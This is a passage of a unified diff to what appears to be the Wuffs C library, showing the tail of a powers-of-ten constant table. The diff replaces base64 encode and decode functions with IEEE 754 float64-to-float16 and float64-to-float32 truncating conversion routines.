0x9B934C3B330C8577}, // 1e63 ++ {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 ++ {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 ++ {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 ++ {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 ++ {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 ++ {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 ++ {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 ++ {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 ++ {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 ++ {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 ++ {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 ++ {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 ++ {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 ++ {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 ++ {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 ++ {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 ++ {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 ++ {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 ++ {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 ++ {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 ++ {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 ++ {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 ++ {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 ++ {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 ++ {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 ++ {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 ++ {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 ++ {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 ++ {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 ++ {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 ++ {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 ++ {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 ++ {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 ++ {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 ++ {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 ++ {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 ++ {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 ++ {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 ++ {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 ++ {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 ++ {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 ++ {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 ++ {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 ++ {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 ++ {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 ++ {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 ++ {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 ++ {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 ++ {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 ++ {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 ++ {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 ++ {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 ++ {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 ++ {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 ++ {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 ++ {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 ++ {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 ++ {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 ++ {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 ++ {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 ++ {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 ++ {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 ++ {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 ++ {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 ++ {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 ++ {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 ++ {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 ++ {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 ++ {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 ++ {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 ++ {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 ++ {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 ++ {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 ++ {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 ++ {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 ++ {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 ++ {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 ++ {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 ++ {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 ++ {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 ++ {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 ++ {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 ++ {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 ++ {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 ++ {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 ++ {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 ++ {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 ++ {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 ++ {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 ++ {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 ++ {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 ++ {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 ++ {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 ++ {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 ++ {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 ++ {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 ++ {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 ++ {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 ++ {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 ++ {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 ++ {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 ++ {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 ++ {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 ++ {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 ++ {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 ++ {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 ++ {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 ++ {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 ++ {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 ++ {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 ++ {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 ++ {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 ++ {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 ++ {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 ++ {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 ++ {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 ++ {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 ++ {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 ++ {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 ++ {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 ++ {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 ++ {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 ++ {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 ++ {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 ++ {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 ++ {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 ++ {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 ++ {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 ++ {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 ++ {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 ++ {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 ++ {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 ++ {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 ++ {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 ++ {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 ++ {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 ++ {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 ++ {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 ++ {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 ++ {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 ++ {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 ++ {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 ++ {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 ++ {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 ++ {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 ++ {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 ++ {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 ++ {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 ++ {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 ++ {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 ++ {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 ++ {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 ++ {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 ++ {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 ++ {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 ++ {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 ++ {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 ++ {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 ++ {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 ++ {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 ++ {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 ++ {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 ++ {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 ++ {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 ++ {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 ++ {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 ++ {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 ++ {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 ++ {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 ++ {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 ++ {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 ++ {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 ++ {0x169840EF017DA3B1, 0xFB9B7CD9A4A7443C}, // 1e236 ++ {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 ++ {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 ++ {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 ++ {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 ++ {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 ++ {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 ++ {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 ++ {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 ++ {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 ++ {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 ++ {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 ++ {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 ++ {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 ++ {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 ++ {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 ++ {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 ++ {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 ++ {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 ++ {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 ++ {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 ++ {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 ++ {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 ++ {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 ++ {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 ++ {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 ++ {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 ++ {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 ++ {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 ++ {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 ++ {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 ++ {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 ++ {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 ++ {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 ++ {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 ++ {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 ++ {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 ++ {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 ++ {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 ++ {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 ++ {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 ++ {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 ++ {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 ++ {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 ++ {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 ++ {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 ++ {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 ++ {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 ++ {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 ++ {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 ++ {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 ++ {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 ++ {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 + }; + +-// -------- ++// wuffs_private_impl__f64_powers_of_10 holds powers of 10 that can be exactly ++// represented by a float64 (what C calls a double). ++static const double wuffs_private_impl__f64_powers_of_10[23] = { ++ 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, ++ 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, ++}; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) +- ? wuffs_base__base_64__decode_url +- : wuffs_base__base_64__decode_std; +- wuffs_base__transform__output o; +- uint8_t* d_ptr = dst.ptr; +- size_t d_len = dst.len; +- const uint8_t* s_ptr = src.ptr; +- size_t s_len = src.len; +- bool pad = false; ++// ---------------- IEEE 754 Floating Point + +- while (s_len >= 4) { +- uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- uint32_t s2 = alphabet[0xFF & (s >> 16)]; +- uint32_t s3 = alphabet[0xFF & (s >> 24)]; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // ++wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { ++ uint64_t u = 0; ++ if (sizeof(uint64_t) == sizeof(double)) { ++ memcpy(&u, &f, sizeof(uint64_t)); ++ } ++ uint16_t neg = ((uint16_t)((u >> 63) << 15)); ++ u &= 0x7FFFFFFFFFFFFFFF; ++ uint64_t exp = u >> 52; ++ uint64_t man = u & 0x000FFFFFFFFFFFFF; + +- if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { +- if (s_len > 4) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } else if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && +- (s_ptr[3] == '=')) { +- pad = true; +- if (s_ptr[2] == '=') { +- goto src2; +- } +- goto src3; +- } +- o.status.repr = wuffs_base__error__bad_data; +- goto done; ++ if (exp == 0x7FF) { ++ if (man == 0) { // Infinity. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7C00; ++ ret.lossy = false; ++ return ret; + } ++ // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most ++ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 ++ // bits of ret.value so that the 10-bit mantissa is non-zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); ++ ret.lossy = false; ++ return ret; + +- if (d_len < 3) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } ++ } else if (exp > 0x40E) { // Truncate to the largest finite f16. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7BFF; ++ ret.lossy = true; ++ return ret; + +- s_ptr += 4; +- s_len -= 4; +- s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); +- *d_ptr++ = (uint8_t)(s >> 16); +- *d_ptr++ = (uint8_t)(s >> 8); +- *d_ptr++ = (uint8_t)(s >> 0); +- d_len -= 3; +- } +- +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } ++ } else if (exp <= 0x3E6) { // Truncate to zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg; ++ ret.lossy = (u != 0); ++ return ret; + +- if (s_len == 0) { +- o.status.repr = NULL; +- goto done; +- } else if (s_len == 1) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } else if (s_len == 2) { +- goto src2; ++ } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. ++ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a ++ // 10-bit mantissa and then adjust for the exponent. ++ man |= 0x0010000000000000; ++ uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. ++ uint64_t shifted_man = man >> shift; ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | ((uint16_t)shifted_man); ++ ret.lossy = (shifted_man << shift) != man; ++ return ret; + } + +-src3: +- do { +- uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- uint32_t s2 = alphabet[0xFF & (s >> 16)]; +- if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } +- if (d_len < 2) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- s_ptr += pad ? 4 : 3; +- s = (s0 << 18) | (s1 << 12) | (s2 << 6); +- *d_ptr++ = (uint8_t)(s >> 16); +- *d_ptr++ = (uint8_t)(s >> 8); +- o.status.repr = NULL; +- goto done; +- } while (0); ++ // Normal f64, normal f16. + +-src2: +- do { +- uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- if ((s0 & 0xC0) || (s1 & 0xCF)) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } +- if (d_len < 1) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- s_ptr += pad ? 4 : 2; +- s = (s0 << 18) | (s1 << 12); +- *d_ptr++ = (uint8_t)(s >> 16); +- o.status.repr = NULL; +- goto done; +- } while (0); ++ // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. ++ exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. + +-done: +- o.num_dst = (size_t)(d_ptr - dst.ptr); +- o.num_src = (size_t)(s_ptr - src.ptr); +- return o; ++ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit ++ // mantissa (again excluding the implicit bit). We lose some information if ++ // any of the bottom 42 bits are non-zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); ++ ret.lossy = (man << 22) != 0; ++ return ret; + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) +- ? wuffs_base__base_64__encode_url +- : wuffs_base__base_64__encode_std; +- wuffs_base__transform__output o; +- uint8_t* d_ptr = dst.ptr; +- size_t d_len = dst.len; +- const uint8_t* s_ptr = src.ptr; +- size_t s_len = src.len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // ++wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { ++ uint64_t u = 0; ++ if (sizeof(uint64_t) == sizeof(double)) { ++ memcpy(&u, &f, sizeof(uint64_t)); ++ } ++ uint32_t neg = ((uint32_t)(u >> 63)) << 31; ++ u &= 0x7FFFFFFFFFFFFFFF; ++ uint64_t exp = u >> 52; ++ uint64_t man = u & 0x000FFFFFFFFFFFFF; + +- do { +- while (s_len >= 3) { +- if (d_len < 4) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); +- s_ptr += 3; +- s_len -= 3; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- *d_ptr++ = alphabet[0x3F & (s >> 6)]; +- *d_ptr++ = alphabet[0x3F & (s >> 0)]; +- d_len -= 4; ++ if (exp == 0x7FF) { ++ if (man == 0) { // Infinity. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7F800000; ++ ret.lossy = false; ++ return ret; + } ++ // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most ++ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 ++ // bits of ret.value so that the 23-bit mantissa is non-zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); ++ ret.lossy = false; ++ return ret; + +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } ++ } else if (exp > 0x47E) { // Truncate to the largest finite f32. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7F7FFFFF; ++ ret.lossy = true; ++ return ret; + +- if (s_len == 2) { +- if (d_len < +- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) +- << 8; +- s_ptr += 2; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- *d_ptr++ = alphabet[0x3F & (s >> 6)]; +- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { +- *d_ptr++ = '='; +- } +- o.status.repr = NULL; +- goto done; ++ } else if (exp <= 0x369) { // Truncate to zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg; ++ ret.lossy = (u != 0); ++ return ret; + +- } else if (s_len == 1) { +- if (d_len < +- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) +- << 16; +- s_ptr += 1; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { +- *d_ptr++ = '='; +- *d_ptr++ = '='; +- } +- o.status.repr = NULL; +- goto done; ++ } else if (exp <= 0x380) { // Normal f64, subnormal f32. ++ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a ++ // 23-bit mantissa and then adjust for the exponent. ++ man |= 0x0010000000000000; ++ uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. ++ uint64_t shifted_man = man >> shift; ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | ((uint32_t)shifted_man); ++ ret.lossy = (shifted_man << shift) != man; ++ return ret; ++ } + +- } else { +- o.status.repr = NULL; +- goto done; +- } +- } while (0); ++ // Normal f64, normal f32. + +-done: +- o.num_dst = (size_t)(d_ptr - dst.ptr); +- o.num_src = (size_t)(s_ptr - src.ptr); +- return o; ++ // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. ++ exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. ++ ++ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit ++ // mantissa (again excluding the implicit bit). We lose some information if ++ // any of the bottom 29 bits are non-zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); ++ ret.lossy = (man << 35) != 0; ++ return ret; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) ++// -------- + +-#if 